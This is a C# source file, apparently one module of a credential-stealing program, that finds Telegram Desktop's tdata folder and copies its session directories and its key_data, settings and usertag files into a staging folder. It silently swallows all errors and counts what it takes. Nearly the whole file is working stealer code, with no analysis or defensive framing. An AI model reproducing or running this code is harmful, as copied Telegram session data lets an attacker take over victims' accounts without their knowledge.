Files

64 lines
2.1 KiB
C#
Raw Permalink Normal View History

2026-08-27 11:22:57 -06:00
using System;
using System.Diagnostics;
using System.IO;
using System.Threading.Tasks;
namespace SHARP
{
internal class Telegram
{
private static string GetTdata()
{
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";
Process[] processesByName = Process.GetProcessesByName(nameof (Telegram));
return processesByName.Length == 0 ? str : Path.Combine(Path.GetDirectoryName(ProcessList.ProcessExecutablePath(processesByName[0])), "tdata");
}
public static async Task GetTelegramSessions(string head)
{
string str1 = head;
string tdata = Telegram.GetTdata();
try
{
if (!Directory.Exists(tdata))
return;
string str2 = str1 + "\\Telegram";
Directory.CreateDirectory(str2);
string[] directories = Directory.GetDirectories(tdata);
string[] files = Directory.GetFiles(tdata);
foreach (string str3 in directories)
{
string name = new DirectoryInfo(str3).Name;
if (name.Length == 16 /*0x10*/)
{
string targetDir = Path.Combine(str2, name);
Filemanager.CopyDirectory(str3, targetDir);
}
}
foreach (string fileName in files)
{
FileInfo fileInfo = new FileInfo(fileName);
string name = fileInfo.Name;
string destFileName = Path.Combine(str2, name);
if (fileInfo.Length <= 5120L)
{
if (name.EndsWith("s") && name.Length == 17)
{
fileInfo.CopyTo(destFileName);
}
else
{
if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
fileInfo.CopyTo(destFileName);
++Counting.Telegram;
}
}
}
}
catch
{
}
}
}
}